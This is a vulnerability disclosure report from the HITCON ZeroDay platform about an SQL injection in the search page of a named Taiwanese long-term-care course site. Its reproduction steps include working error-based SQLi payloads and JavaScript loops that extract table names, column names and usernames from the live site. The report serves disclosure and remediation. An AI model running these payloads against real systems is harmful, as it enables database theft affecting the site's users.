Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00978
- Vendor: GOGO CARE|台灣長照課程影音平台(Design By 龍心數位科技)
- Title: GOGO CARE|台灣長照課程影音平台(Design By 龍心數位科技) 搜尋功能 SQL Injection
- Introduction: 搜尋功能 SQL Injection
處理狀態
目前狀態
公開
Last Update : 2025/10/16
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/08/16 21:45:21 : 新提交 (由 yusheng 更新此狀態)
- 2025/08/19 16:56:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/26 16:03:41 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/26 16:03:41 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/26 16:03:41 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/10/16 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00978
- 通報者:cat1528985 (yusheng)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://beta-gocare.ls-design.com.tw/tw/course/search.html
敘述
承接 ZD-2025-00972,這次在 "龍心數位科技" 的其他網站也找到了 SQLi
重現漏洞方式
- 在搜尋欄位輸入單引號,看到 SQL 錯誤訊息
Uncaught PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'))
GROUP BY a.course_id
OR' at line 9 in /home2/lsdesign/public_html/includes/cls_mysql.php:65 - 經過一番測試,成功找到利用 error-based SQLi 來提取 DB 資料
- 提取 database name 的 SQLi patyload:
') AND EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e)) AND ('1'='1 - 提取 table_name 數量的 SQLi patyload :
') OR EXTRACTVALUE(1,CONCAT(0x7e,(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='lsdesign_gogocare' LIMIT 0,1),0x7e)) OR ('1'='1 - 列出所有 table_name(寫一段 JavaScript 迴圈直接戳 API):
const table_names = [] for (let i = 0; i < 111; i++) { const sp = new URLSearchParams(); sp.append("srh_key_word", `') OR EXTRACTVALUE(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='lsdesign_gogocare' LIMIT ${i},1),0x7e)) OR ('1'='1`); sp.append("srh_sort", ""); fetch("https://beta-gocare.ls-design.com.tw/tw/course/search.html", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "body": sp.toString(), "method": "POST", "mode": "cors", "credentials": "omit" }) .then(r => r.text()) .then(text => { const table_name = text.split(`XPATH syntax error: '~`)[1].split(`~'`)[0] table_names.push(table_name) }) } - 列出
usrtable column_name 數量的 SQLi patyload :') OR EXTRACTVALUE(1,CONCAT(0x7e,(SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='usr' LIMIT 0,1),0x7e)) OR ('1'='1 - 列出
usrtable 所有 column_name(寫一段 JavaScript 迴圈直接戳 API):const usr_column_names = [] for (let i = 0; i < 22; i++) { const sp = new URLSearchParams(); sp.append("srh_key_word", `') OR EXTRACTVALUE(1,CONCAT(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='usr' LIMIT ${i},1),0x7e)) OR ('1'='1`); sp.append("srh_sort", ""); fetch("https://beta-gocare.ls-design.com.tw/tw/course/search.html", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "body": sp.toString(), "method": "POST", "mode": "cors", "credentials": "omit" }) .then(r => r.text()) .then(text => { const result = text.split(`XPATH syntax error: '~`)[1].split(`~'`)[0] usr_column_names.push(result) }) } - 簡單撈個 3 筆
usrtable 的usr_name就好,測試有權限可以讀取任意 table 的資料const usr_names = [] for (let i = 0; i < 3; i++) { const sp = new URLSearchParams(); sp.append("srh_key_word", `') OR EXTRACTVALUE(1,CONCAT(0x7e,(SELECT usr_name FROM usr LIMIT ${i},1),0x7e)) OR ('1'='1`); sp.append("srh_sort", ""); fetch("https://beta-gocare.ls-design.com.tw/tw/course/search.html", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "body": sp.toString(), "method": "POST", "mode": "cors", "credentials": "omit" }) .then(r => r.text()) .then(text => { const result = text.split(`XPATH syntax error: '~`)[1].split(`~'`)[0] usr_names.push(result) }) }
可以看到 usr_name 的前三筆就有包含 "龍心數位科技"
影響:
可竊取 MariaDB 的所有資料
修補建議
使用 Prepared Statement 替代字串拼接
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。